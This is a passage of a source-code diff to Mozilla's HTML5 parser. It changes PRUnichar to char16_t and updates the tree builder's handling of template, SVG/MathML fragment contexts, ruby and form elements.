@@ -64,7 +64,7 @@ nsHtml5Tokenizer::errUnquotedAttributeValOrNull(PRUnichar c)
}
void
-nsHtml5Tokenizer::errLtOrEqualsOrGraveInUnquotedAttributeOrNull(PRUnichar c)
+nsHtml5Tokenizer::errLtOrEqualsOrGraveInUnquotedAttributeOrNull(char16_t c)
{
if (MOZ_LIKELY(mViewSource)) {
switch (c) {
@@ -82,7 +82,7 @@ nsHtml5Tokenizer::errLtOrEqualsOrGraveInUnquotedAttributeOrNull(PRUnichar c)
}
void
-nsHtml5Tokenizer::errBadCharBeforeAttributeNameOrNull(PRUnichar c)
+nsHtml5Tokenizer::errBadCharBeforeAttributeNameOrNull(char16_t c)
{
if (MOZ_LIKELY(mViewSource)) {
if (c == '<') {
@@ -96,7 +96,7 @@ nsHtml5Tokenizer::errBadCharBeforeAttributeNameOrNull(PRUnichar c)
}
void
-nsHtml5Tokenizer::errBadCharAfterLt(PRUnichar c)
+nsHtml5Tokenizer::errBadCharAfterLt(char16_t c)
{
if (MOZ_LIKELY(mViewSource)) {
mViewSource->AddErrorToCurrentNode("errBadCharAfterLt");
@@ -104,7 +104,7 @@ nsHtml5Tokenizer::errBadCharAfterLt(PRUnichar c)
}
void
-nsHtml5Tokenizer::errQuoteOrLtInAttributeNameOrNull(PRUnichar c)
+nsHtml5Tokenizer::errQuoteOrLtInAttributeNameOrNull(char16_t c)
{
if (MOZ_LIKELY(mViewSource)) {
if (c == '<') {
@@ -135,8 +135,8 @@ nsHtml5Tokenizer::maybeErrSlashInEndTag(bool selfClosing)
}
}
-PRUnichar
-nsHtml5Tokenizer::errNcrNonCharacter(PRUnichar ch)
+char16_t
+nsHtml5Tokenizer::errNcrNonCharacter(char16_t ch)
{
if (MOZ_UNLIKELY(mViewSource)) {
mViewSource->AddErrorToCurrentNode("errNcrNonCharacter");
@@ -152,8 +152,8 @@ nsHtml5Tokenizer::errAstralNonCharacter(int32_t ch)
}
}
-PRUnichar
-nsHtml5Tokenizer::errNcrControlChar(PRUnichar ch)
+char16_t
+nsHtml5Tokenizer::errNcrControlChar(char16_t ch)
{
if (MOZ_UNLIKELY(mViewSource)) {
mViewSource->AddErrorToCurrentNode("errNcrControlChar");
@@ -314,7 +314,7 @@ nsHtml5Tokenizer::errNoNamedCharacterMatch()
}
void
-nsHtml5Tokenizer::errQuoteBeforeAttributeName(PRUnichar c)
+nsHtml5Tokenizer::errQuoteBeforeAttributeName(char16_t c)
{
if (MOZ_LIKELY(mViewSource)) {
mViewSource->AddErrorToCurrentNode("errQuoteBeforeAttributeName");
diff --git a/parser/html/nsHtml5TokenizerHSupplement.h b/parser/html/nsHtml5TokenizerHSupplement.h
index 2bb89651c..0dcaef116 100644
--- a/parser/html/nsHtml5TokenizerHSupplement.h
+++ b/parser/html/nsHtml5TokenizerHSupplement.h
@@ -2,6 +2,11 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+inline nsHtml5HtmlAttributes* GetAttributes()
+{
+ return attributes;
+}
+
nsAutoPtr<nsHtml5Highlighter> mViewSource;
/**
@@ -40,21 +45,21 @@ void errPrematureEndOfComment();
void errBogusComment();
-void errUnquotedAttributeValOrNull(PRUnichar c);
+void errUnquotedAttributeValOrNull(char16_t c);
void errSlashNotFollowedByGt();
void errNoSpaceBetweenAttributes();
-void errLtOrEqualsOrGraveInUnquotedAttributeOrNull(PRUnichar c);
+void errLtOrEqualsOrGraveInUnquotedAttributeOrNull(char16_t c);
void errAttributeValueMissing();
-void errBadCharBeforeAttributeNameOrNull(PRUnichar c);
+void errBadCharBeforeAttributeNameOrNull(char16_t c);
void errEqualsSignBeforeAttributeName();
-void errBadCharAfterLt(PRUnichar c);
+void errBadCharAfterLt(char16_t c);
void errLtGt();
@@ -66,9 +71,9 @@ void errNotSemicolonTerminated();
void errNoNamedCharacterMatch();
-void errQuoteBeforeAttributeName(PRUnichar c);
+void errQuoteBeforeAttributeName(char16_t c);
-void errQuoteOrLtInAttributeNameOrNull(PRUnichar c);
+void errQuoteOrLtInAttributeNameOrNull(char16_t c);
void errExpectedPublicId();
@@ -78,13 +83,13 @@ void maybeErrAttributesOnEndTag(nsHtml5HtmlAttributes* attrs);
void maybeErrSlashInEndTag(bool selfClosing);
-PRUnichar errNcrNonCharacter(PRUnichar ch);
+char16_t errNcrNonCharacter(char16_t ch);
void errAstralNonCharacter(int32_t ch);
void errNcrSurrogate();
-PRUnichar errNcrControlChar(PRUnichar ch);
+char16_t errNcrControlChar(char16_t ch);
void errNcrCr();
diff --git a/parser/html/nsHtml5TokenizerLoopPolicies.h b/parser/html/nsHtml5TokenizerLoopPolicies.h
index eea9c0dc2..8e5869a62 100644
--- a/parser/html/nsHtml5TokenizerLoopPolicies.h
+++ b/parser/html/nsHtml5TokenizerLoopPolicies.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5TokenizerLoopPolicies_h_
-#define nsHtml5TokenizerLoopPolicies_h_
+#ifndef nsHtml5TokenizerLoopPolicies_h
+#define nsHtml5TokenizerLoopPolicies_h
/**
* This policy does not report tokenizer transitions anywhere. To be used
@@ -15,10 +15,12 @@ struct nsHtml5SilentPolicy
static int32_t transition(nsHtml5Highlighter* aHighlighter,
int32_t aState,
bool aReconsume,
- int32_t aPos) {
+ int32_t aPos)
+ {
return aState;
}
- static void completedNamedCharacterReference(nsHtml5Highlighter* aHighlighter) {
+ static void completedNamedCharacterReference(nsHtml5Highlighter* aHighlighter)
+ {
}
};
@@ -32,12 +34,14 @@ struct nsHtml5ViewSourcePolicy
static int32_t transition(nsHtml5Highlighter* aHighlighter,
int32_t aState,
bool aReconsume,
- int32_t aPos) {
+ int32_t aPos)
+ {
return aHighlighter->Transition(aState, aReconsume, aPos);
}
- static void completedNamedCharacterReference(nsHtml5Highlighter* aHighlighter) {
+ static void completedNamedCharacterReference(nsHtml5Highlighter* aHighlighter)
+ {
aHighlighter->CompletedNamedCharacterReference();
}
};
-#endif // nsHtml5TokenizerLoopPolicies_h_
+#endif // nsHtml5TokenizerLoopPolicies_h
diff --git a/parser/html/nsHtml5TreeBuilder.cpp b/parser/html/nsHtml5TreeBuilder.cpp
index 80bd7aa21..9d2bafd25 100644
--- a/parser/html/nsHtml5TreeBuilder.cpp
+++ b/parser/html/nsHtml5TreeBuilder.cpp
@@ -30,11 +30,12 @@
#define nsHtml5TreeBuilder_cpp__
+#include "nsContentUtils.h"
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsITimer.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -52,6 +53,8 @@
#include "nsHtml5PlainTextUtils.h"
#include "nsHtml5ViewSourceUtils.h"
#include "mozilla/Likely.h"
+#include "nsIContentHandle.h"
+#include "nsHtml5OplessBuilder.h"
#include "nsHtml5Tokenizer.h"
#include "nsHtml5MetaScanner.h"
@@ -65,7 +68,7 @@
#include "nsHtml5TreeBuilder.h"
-PRUnichar nsHtml5TreeBuilder::REPLACEMENT_CHARACTER[] = { 0xfffd };
+char16_t nsHtml5TreeBuilder::REPLACEMENT_CHARACTER[] = { 0xfffd };
static const char* const QUIRKY_PUBLIC_IDS_DATA[] = { "+//silmaril//dtd html pro v0r11 19970101//", "-//advasoft ltd//dtd html 3.0 aswedit + extensions//", "-//as//dtd html 3.0 aswedit + extensions//", "-//ietf//dtd html 2.0 level 1//", "-//ietf//dtd html 2.0 level 2//", "-//ietf//dtd html 2.0 strict level 1//", "-//ietf//dtd html 2.0 strict level 2//", "-//ietf//dtd html 2.0 strict//", "-//ietf//dtd html 2.0//", "-//ietf//dtd html 2.1e//", "-//ietf//dtd html 3.0//", "-//ietf//dtd html 3.2 final//", "-//ietf//dtd html 3.2//", "-//ietf//dtd html 3//", "-//ietf//dtd html level 0//", "-//ietf//dtd html level 1//", "-//ietf//dtd html level 2//", "-//ietf//dtd html level 3//", "-//ietf//dtd html strict level 0//", "-//ietf//dtd html strict level 1//", "-//ietf//dtd html strict level 2//", "-//ietf//dtd html strict level 3//", "-//ietf//dtd html strict//", "-//ietf//dtd html//", "-//metrius//dtd metrius presentational//", "-//microsoft//dtd internet explorer 2.0 html strict//", "-//microsoft//dtd internet explorer 2.0 html//", "-//microsoft//dtd internet explorer 2.0 tables//", "-//microsoft//dtd internet explorer 3.0 html strict//", "-//microsoft//dtd internet explorer 3.0 html//", "-//microsoft//dtd internet explorer 3.0 tables//", "-//netscape comm. corp.//dtd html//", "-//netscape comm. corp.//dtd strict html//", "-//o'reilly and associates//dtd html 2.0//", "-//o'reilly and associates//dtd html extended 1.0//", "-//o'reilly and associates//dtd html extended relaxed 1.0//", "-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//", "-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//", "-//spyglass//dtd html 2.0 extended//", "-//sq//dtd html 2.0 hotmetal + extensions//", "-//sun microsystems corp.//dtd hotjava html//", "-//sun microsystems corp.//dtd hotjava strict html//", "-//w3c//dtd html 3 1995-03-24//", "-//w3c//dtd html 3.2 draft//", "-//w3c//dtd html 3.2 final//", "-//w3c//dtd html 3.2//", "-//w3c//dtd html 3.2s draft//", "-//w3c//dtd html 4.0 frameset//", "-//w3c//dtd html 4.0 transitional//", "-//w3c//dtd html experimental 19960712//", "-//w3c//dtd html experimental 970421//", "-//w3c//dtd w3 html//", "-//w3o//dtd w3 html 3.0//", "-//webtechs//dtd mozilla html 2.0//", "-//webtechs//dtd mozilla html//" };
staticJArray<const char*,int32_t> nsHtml5TreeBuilder::QUIRKY_PUBLIC_IDS = { QUIRKY_PUBLIC_IDS_DATA, MOZ_ARRAY_LENGTH(QUIRKY_PUBLIC_IDS_DATA) };
void
@@ -85,39 +88,64 @@ nsHtml5TreeBuilder::startTokenization(nsHtml5Tokenizer* self)
deepTreeSurrogateParent = nullptr;
start(fragment);
charBufferLen = 0;
- charBuffer = jArray<PRUnichar,int32_t>::newJArray(1024);
+ charBuffer = jArray<char16_t,int32_t>::newJArray(1024);
framesetOk = true;
if (fragment) {
- nsIContent** elt;
+ nsIContentHandle* elt;
if (contextNode) {
elt = contextNode;
} else {
elt = createHtmlElementSetAsRoot(tokenizer->emptyAttributes());
}
- nsHtml5StackNode* node = new nsHtml5StackNode(nsHtml5ElementName::ELT_HTML, elt);
- currentPtr++;
- stack[currentPtr] = node;
- if (nsHtml5Atoms::template_ == contextName) {
- pushTemplateMode(NS_HTML5TREE_BUILDER_TEMPLATE_CONTENTS);
- }
- resetTheInsertionMode();
- if (nsHtml5Atoms::title == contextName || nsHtml5Atoms::textarea == contextName) {
- tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_RCDATA, contextName);
- } else if (nsHtml5Atoms::style == contextName || nsHtml5Atoms::xmp == contextName || nsHtml5Atoms::iframe == contextName || nsHtml5Atoms::noembed == contextName || nsHtml5Atoms::noframes == contextName || (scriptingEnabled && nsHtml5Atoms::noscript == contextName)) {
- tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_RAWTEXT, contextName);
- } else if (nsHtml5Atoms::plaintext == contextName) {
- tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_PLAINTEXT, contextName);
- } else if (nsHtml5Atoms::script == contextName) {
- tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_SCRIPT_DATA, contextName);
- } else {
+ if (contextNamespace == kNameSpaceID_SVG) {
+ nsHtml5ElementName* elementName = nsHtml5ElementName::ELT_SVG;
+ if (nsHtml5Atoms::title == contextName || nsHtml5Atoms::desc == contextName || nsHtml5Atoms::foreignObject == contextName) {
+ elementName = nsHtml5ElementName::ELT_FOREIGNOBJECT;
+ }
+ nsHtml5StackNode* node = new nsHtml5StackNode(elementName, elementName->camelCaseName, elt);
+ currentPtr++;
+ stack[currentPtr] = node;
+ tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_DATA, contextName);
+ mode = NS_HTML5TREE_BUILDER_FRAMESET_OK;
+ } else if (contextNamespace == kNameSpaceID_MathML) {
+ nsHtml5ElementName* elementName = nsHtml5ElementName::ELT_MATH;
+ if (nsHtml5Atoms::mi == contextName || nsHtml5Atoms::mo == contextName || nsHtml5Atoms::mn == contextName || nsHtml5Atoms::ms == contextName || nsHtml5Atoms::mtext == contextName) {
+ elementName = nsHtml5ElementName::ELT_MTEXT;
+ } else if (nsHtml5Atoms::annotation_xml == contextName) {
+ elementName = nsHtml5ElementName::ELT_ANNOTATION_XML;
+ }
+ nsHtml5StackNode* node = new nsHtml5StackNode(elementName, elt, elementName->name, false);
+ currentPtr++;
+ stack[currentPtr] = node;
tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_DATA, contextName);
+ mode = NS_HTML5TREE_BUILDER_FRAMESET_OK;
+ } else {
+ nsHtml5StackNode* node = new nsHtml5StackNode(nsHtml5ElementName::ELT_HTML, elt);
+ currentPtr++;
+ stack[currentPtr] = node;
+ if (nsHtml5Atoms::template_ == contextName) {
+ pushTemplateMode(NS_HTML5TREE_BUILDER_IN_TEMPLATE);
+ }
+ resetTheInsertionMode();
+ formPointer = getFormPointerForContext(contextNode);
+ if (nsHtml5Atoms::title == contextName || nsHtml5Atoms::textarea == contextName) {
+ tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_RCDATA, contextName);
+ } else if (nsHtml5Atoms::style == contextName || nsHtml5Atoms::xmp == contextName || nsHtml5Atoms::iframe == contextName || nsHtml5Atoms::noembed == contextName || nsHtml5Atoms::noframes == contextName || (scriptingEnabled && nsHtml5Atoms::noscript == contextName)) {
+ tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_RAWTEXT, contextName);
+ } else if (nsHtml5Atoms::plaintext == contextName) {
+ tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_PLAINTEXT, contextName);
+ } else if (nsHtml5Atoms::script == contextName) {
+ tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_SCRIPT_DATA, contextName);
+ } else {
+ tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_DATA, contextName);
+ }
}
contextName = nullptr;
contextNode = nullptr;
} else {
mode = NS_HTML5TREE_BUILDER_INITIAL;
if (tokenizer->isViewingXmlSource()) {
- nsIContent** elt = createElement(kNameSpaceID_SVG, nsHtml5Atoms::svg, tokenizer->emptyAttributes());
+ nsIContentHandle* elt = createElement(kNameSpaceID_SVG, nsHtml5Atoms::svg, tokenizer->emptyAttributes(), nullptr);
nsHtml5StackNode* node = new nsHtml5StackNode(nsHtml5ElementName::ELT_SVG, nsHtml5Atoms::svg, elt);
currentPtr++;
stack[currentPtr] = node;
@@ -150,7 +178,7 @@ nsHtml5TreeBuilder::doctype(nsIAtom* name, nsString* publicIdentifier, nsString*
}
void
-nsHtml5TreeBuilder::comment(PRUnichar* buf, int32_t start, int32_t length)
+nsHtml5TreeBuilder::comment(char16_t* buf, int32_t start, int32_t length)
{
needToDropLF = false;
if (!isInForeign()) {
@@ -178,7 +206,7 @@ nsHtml5TreeBuilder::comment(PRUnichar* buf, int32_t start, int32_t length)
}
void
-nsHtml5TreeBuilder::characters(const PRUnichar* buf, int32_t start, int32_t length)
+nsHtml5TreeBuilder::characters(const char16_t* buf, int32_t start, int32_t length)
{
if (tokenizer->isViewingXmlSource()) {
return;
@@ -236,7 +264,7 @@ nsHtml5TreeBuilder::characters(const PRUnichar* buf, int32_t start, int32_t leng
continue;
}
case NS_HTML5TREE_BUILDER_FRAMESET_OK:
- case NS_HTML5TREE_BUILDER_TEMPLATE_CONTENTS:
+ case NS_HTML5TREE_BUILDER_IN_TEMPLATE:
case NS_HTML5TREE_BUILDER_IN_BODY:
case NS_HTML5TREE_BUILDER_IN_CELL:
case NS_HTML5TREE_BUILDER_IN_CAPTION: {
@@ -339,7 +367,7 @@ nsHtml5TreeBuilder::characters(const PRUnichar* buf, int32_t start, int32_t leng
i--;
continue;
}
- case NS_HTML5TREE_BUILDER_TEMPLATE_CONTENTS:
+ case NS_HTML5TREE_BUILDER_IN_TEMPLATE:
case NS_HTML5TREE_BUILDER_IN_BODY:
case NS_HTML5TREE_BUILDER_IN_CELL:
case NS_HTML5TREE_BUILDER_IN_CAPTION: {
@@ -390,7 +418,6 @@ nsHtml5TreeBuilder::characters(const PRUnichar* buf, int32_t start, int32_t leng
case NS_HTML5TREE_BUILDER_IN_FRAMESET: {
if (start < i) {
accumulateCharacters(buf, start, i - start);
- start = i;
}
errNonSpaceInFrameset();
start = i + 1;
@@ -399,7 +426,6 @@ nsHtml5TreeBuilder::characters(const PRUnichar* buf, int32_t start, int32_t leng
case NS_HTML5TREE_BUILDER_AFTER_FRAMESET: {
if (start < i) {
accumulateCharacters(buf, start, i - start);
- start = i;
}
errNonSpaceAfterFrameset();
start = i + 1;
@@ -412,9 +438,11 @@ nsHtml5TreeBuilder::characters(const PRUnichar* buf, int32_t start, int32_t leng
continue;
}
case NS_HTML5TREE_BUILDER_AFTER_AFTER_FRAMESET: {
+ if (start < i) {
+ accumulateCharacters(buf, start, i - start);
+ }
errNonSpaceInTrailer();
- mode = NS_HTML5TREE_BUILDER_IN_FRAMESET;
- i--;
+ start = i + 1;
continue;
}
}
@@ -449,9 +477,6 @@ nsHtml5TreeBuilder::eof()
{
flushCharacters();
for (; ; ) {
- if (isInForeign()) {
- NS_HTML5_BREAK(eofloop);
- }
switch(mode) {
case NS_HTML5TREE_BUILDER_INITIAL: {
documentModeInternal(QUIRKS_MODE, nullptr, nullptr, false);
@@ -487,21 +512,36 @@ nsHtml5TreeBuilder::eof()
mode = NS_HTML5TREE_BUILDER_IN_BODY;
continue;
}
- case NS_HTML5TREE_BUILDER_IN_COLUMN_GROUP: {
- if (!currentPtr) {
- MOZ_ASSERT(fragment);
- NS_HTML5_BREAK(eofloop);
- } else {
- popOnEof();
- mode = NS_HTML5TREE_BUILDER_IN_TABLE;
- continue;
- }
- }
+ case NS_HTML5TREE_BUILDER_IN_TABLE_BODY:
+ case NS_HTML5TREE_BUILDER_IN_ROW:
+ case NS_HTML5TREE_BUILDER_IN_TABLE:
+ case NS_HTML5TREE_BUILDER_IN_SELECT_IN_TABLE:
+ case NS_HTML5TREE_BUILDER_IN_SELECT:
+ case NS_HTML5TREE_BUILDER_IN_COLUMN_GROUP:
case NS_HTML5TREE_BUILDER_FRAMESET_OK:
case NS_HTML5TREE_BUILDER_IN_CAPTION:
case NS_HTML5TREE_BUILDER_IN_CELL:
case NS_HTML5TREE_BUILDER_IN_BODY: {
- NS_HTML5_BREAK(eofloop);
+ if (isTemplateModeStackEmpty()) {
+ NS_HTML5_BREAK(eofloop);
+ }
+ }
+ case NS_HTML5TREE_BUILDER_IN_TEMPLATE: {
+ int32_t eltPos = findLast(nsHtml5Atoms::template_);
+ if (eltPos == NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK) {
+ MOZ_ASSERT(fragment);
+ NS_HTML5_BREAK(eofloop);
+ }
+ if (MOZ_UNLIKELY(mViewSource)) {
+ errUnclosedElements(eltPos, nsHtml5Atoms::template_);
+ }
+ while (currentPtr >= eltPos) {
+ pop();
+ }
+ clearTheListOfActiveFormattingElementsUpToTheLastMarker();
+ popTemplateMode();
+ resetTheInsertionMode();
+ continue;
}
case NS_HTML5TREE_BUILDER_TEXT: {
if (originalMode == NS_HTML5TREE_BUILDER_AFTER_HEAD) {
@@ -511,23 +551,9 @@ nsHtml5TreeBuilder::eof()
mode = originalMode;
continue;
}
- case NS_HTML5TREE_BUILDER_IN_TABLE_BODY:
- case NS_HTML5TREE_BUILDER_IN_ROW:
- case NS_HTML5TREE_BUILDER_IN_TABLE:
- case NS_HTML5TREE_BUILDER_IN_SELECT:
- case NS_HTML5TREE_BUILDER_IN_SELECT_IN_TABLE:
case NS_HTML5TREE_BUILDER_IN_FRAMESET: {
NS_HTML5_BREAK(eofloop);
}
- case NS_HTML5TREE_BUILDER_TEMPLATE_CONTENTS: {
- if (!currentPtr) {
- MOZ_ASSERT(fragment);
- NS_HTML5_BREAK(eofloop);
- }
- popOnEof();
- resetTheInsertionMode();
- continue;
- }
case NS_HTML5TREE_BUILDER_AFTER_BODY:
case NS_HTML5TREE_BUILDER_AFTER_FRAMESET:
case NS_HTML5TREE_BUILDER_AFTER_AFTER_BODY:
@@ -604,20 +630,16 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
case NS_HTML5TREE_BUILDER_NOBR:
case NS_HTML5TREE_BUILDER_P:
case NS_HTML5TREE_BUILDER_PRE_OR_LISTING:
- case NS_HTML5TREE_BUILDER_TABLE: {
- errHtmlStartTagInForeignContext(name);
- while (!isSpecialParentInForeign(stack[currentPtr])) {
- pop();
- }
- NS_HTML5_CONTINUE(starttagloop);
- }
+ case NS_HTML5TREE_BUILDER_TABLE:
case NS_HTML5TREE_BUILDER_FONT: {
- if (attributes->contains(nsHtml5AttributeName::ATTR_COLOR) || attributes->contains(nsHtml5AttributeName::ATTR_FACE) || attributes->contains(nsHtml5AttributeName::ATTR_SIZE)) {
+ if (!(group == NS_HTML5TREE_BUILDER_FONT && !(attributes->contains(nsHtml5AttributeName::ATTR_COLOR) || attributes->contains(nsHtml5AttributeName::ATTR_FACE) || attributes->contains(nsHtml5AttributeName::ATTR_SIZE)))) {
errHtmlStartTagInForeignContext(name);
- while (!isSpecialParentInForeign(stack[currentPtr])) {
- pop();
+ if (!fragment) {
+ while (!isSpecialParentInForeign(stack[currentPtr])) {
+ pop();
+ }
+ NS_HTML5_CONTINUE(starttagloop);
}
- NS_HTML5_CONTINUE(starttagloop);
}
}
default: {
@@ -647,14 +669,8 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
}
}
switch(mode) {
- case NS_HTML5TREE_BUILDER_TEMPLATE_CONTENTS: {
+ case NS_HTML5TREE_BUILDER_IN_TEMPLATE: {
switch(group) {
- case NS_HTML5TREE_BUILDER_FRAME: {
- popTemplateMode();
- pushTemplateMode(NS_HTML5TREE_BUILDER_IN_FRAMESET);
- mode = NS_HTML5TREE_BUILDER_IN_FRAMESET;
- continue;
- }
case NS_HTML5TREE_BUILDER_COL: {
popTemplateMode();
pushTemplateMode(NS_HTML5TREE_BUILDER_IN_COLUMN_GROUP);
@@ -688,6 +704,12 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
attributes = nullptr;
NS_HTML5_BREAK(starttagloop);
}
+ case NS_HTML5TREE_BUILDER_TITLE: {
+ startTagTitleInHead(elementName, attributes);
+ attributes = nullptr;
+ NS_HTML5_BREAK(starttagloop);
+ }
+ case NS_HTML5TREE_BUILDER_BASE:
case NS_HTML5TREE_BUILDER_LINK_OR_BASEFONT_OR_BGSOUND: {
appendVoidElementToCurrentMayFoster(elementName, attributes);
selfClosing = false;
@@ -699,6 +721,7 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
attributes = nullptr;
NS_HTML5_BREAK(starttagloop);
}
+ case NS_HTML5TREE_BUILDER_NOFRAMES:
case NS_HTML5TREE_BUILDER_STYLE: {
startTagGenericRawText(elementName, attributes);
attributes = nullptr;
@@ -858,6 +881,7 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
NS_HTML5_BREAK(starttagloop);
}
case NS_HTML5TREE_BUILDER_INPUT: {
+ errStartTagInTable(name);
if (!nsHtml5Portability::lowerCaseLiteralEqualsIgnoreAsciiCaseString("hidden", attributes->getValue(nsHtml5AttributeName::ATTR_TYPE))) {
NS_HTML5_BREAK(intableloop);
}
@@ -867,7 +891,7 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
NS_HTML5_BREAK(starttagloop);
}
case NS_HTML5TREE_BUILDER_FORM: {
- if (formPointer) {
+ if (!!formPointer || isTemplateContents()) {
errFormWhenFormOpen();
NS_HTML5_BREAK(starttagloop);
} else {
@@ -1002,7 +1026,6 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
case NS_HTML5TREE_BUILDER_STYLE:
case NS_HTML5TREE_BUILDER_SCRIPT:
case NS_HTML5TREE_BUILDER_TITLE:
- case NS_HTML5TREE_BUILDER_COMMAND:
case NS_HTML5TREE_BUILDER_TEMPLATE: {
NS_HTML5_BREAK(inbodyloop);
}
@@ -1055,7 +1078,7 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
NS_HTML5_BREAK(starttagloop);
}
case NS_HTML5TREE_BUILDER_FORM: {
- if (formPointer) {
+ if (!!formPointer && !isTemplateContents()) {
errFormWhenFormOpen();
NS_HTML5_BREAK(starttagloop);
} else {
@@ -1079,7 +1102,7 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
pop();
}
break;
- } else if (node->isSpecial() && node->name != nsHtml5Atoms::p && node->name != nsHtml5Atoms::address && node->name != nsHtml5Atoms::div) {
+ } else if (!eltPos || (node->isSpecial() && (node->ns != kNameSpaceID_XHTML || (node->name != nsHtml5Atoms::p && node->name != nsHtml5Atoms::address && node->name != nsHtml5Atoms::div)))) {
break;
}
eltPos--;
@@ -1213,7 +1236,7 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
}
case NS_HTML5TREE_BUILDER_ISINDEX: {
errIsindex();
- if (formPointer) {
+ if (!!formPointer && !isTemplateContents()) {
NS_HTML5_BREAK(starttagloop);
}
implicitlyCloseP();
@@ -1227,7 +1250,7 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
appendToCurrentNodeAndPushElementMayFoster(nsHtml5ElementName::ELT_LABEL, nsHtml5HtmlAttributes::EMPTY_ATTRIBUTES);
int32_t promptIndex = attributes->getIndex(nsHtml5AttributeName::ATTR_PROMPT);
if (promptIndex > -1) {
- autoJArray<PRUnichar,int32_t> prompt = nsHtml5Portability::newCharArrayFromString(attributes->getValueNoBoundsCheck(promptIndex));
+ autoJArray<char16_t,int32_t> prompt = nsHtml5Portability::newCharArrayFromString(attributes->getValueNoBoundsCheck(promptIndex));
appendCharacters(stack[currentPtr]->node, prompt, 0, prompt.length);
} else {
appendIsindexPrompt(stack[currentPtr]->node);
@@ -1247,6 +1270,9 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
pop();
appendVoidElementToCurrentMayFoster(nsHtml5ElementName::ELT_HR, nsHtml5HtmlAttributes::EMPTY_ATTRIBUTES);
pop();
+ if (!isTemplateContents()) {
+ formPointer = nullptr;
+ }
selfClosing = false;
NS_HTML5_BREAK(starttagloop);
}
@@ -1316,13 +1342,13 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
attributes = nullptr;
NS_HTML5_BREAK(starttagloop);
}
- case NS_HTML5TREE_BUILDER_RT_OR_RP: {
+ case NS_HTML5TREE_BUILDER_RB_OR_RTC: {
eltPos = findLastInScope(nsHtml5Atoms::ruby);
if (eltPos != NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK) {
generateImpliedEndTags();
}
if (eltPos != currentPtr) {
- if (eltPos != NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK) {
+ if (eltPos == NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK) {
errStartTagSeenWithoutRuby(name);
} else {
errUnclosedChildrenInRuby();
@@ -1332,6 +1358,24 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
attributes = nullptr;
NS_HTML5_BREAK(starttagloop);
}
+ case NS_HTML5TREE_BUILDER_RT_OR_RP: {
+ eltPos = findLastInScope(nsHtml5Atoms::ruby);
+ if (eltPos != NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK) {
+ generateImpliedEndTagsExceptFor(nsHtml5Atoms::rtc);
+ }
+ if (eltPos != currentPtr) {
+ if (!isCurrent(nsHtml5Atoms::rtc)) {
+ if (eltPos == NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK) {
+ errStartTagSeenWithoutRuby(name);
+ } else {
+ errUnclosedChildrenInRuby();
+ }
+ }
+ }
+ appendToCurrentNodeAndPushElementMayFoster(elementName, attributes);
+ attributes = nullptr;
+ NS_HTML5_BREAK(starttagloop);
+ }
case NS_HTML5TREE_BUILDER_MATH: {
reconstructTheActiveFormattingElements();
attributes->adjustForMath();
@@ -1396,21 +1440,17 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
NS_HTML5_BREAK(starttagloop);
}
case NS_HTML5TREE_BUILDER_BASE:
- case NS_HTML5TREE_BUILDER_COMMAND: {
+ case NS_HTML5TREE_BUILDER_LINK_OR_BASEFONT_OR_BGSOUND: {
appendVoidElementToCurrentMayFoster(elementName, attributes);
selfClosing = false;
attributes = nullptr;
NS_HTML5_BREAK(starttagloop);
}
- case NS_HTML5TREE_BUILDER_META:
- case NS_HTML5TREE_BUILDER_LINK_OR_BASEFONT_OR_BGSOUND: {
+ case NS_HTML5TREE_BUILDER_META: {
NS_HTML5_BREAK(inheadloop);
}
case NS_HTML5TREE_BUILDER_TITLE: {
- appendToCurrentNodeAndPushElementMayFoster(elementName, attributes);
- originalMode = mode;
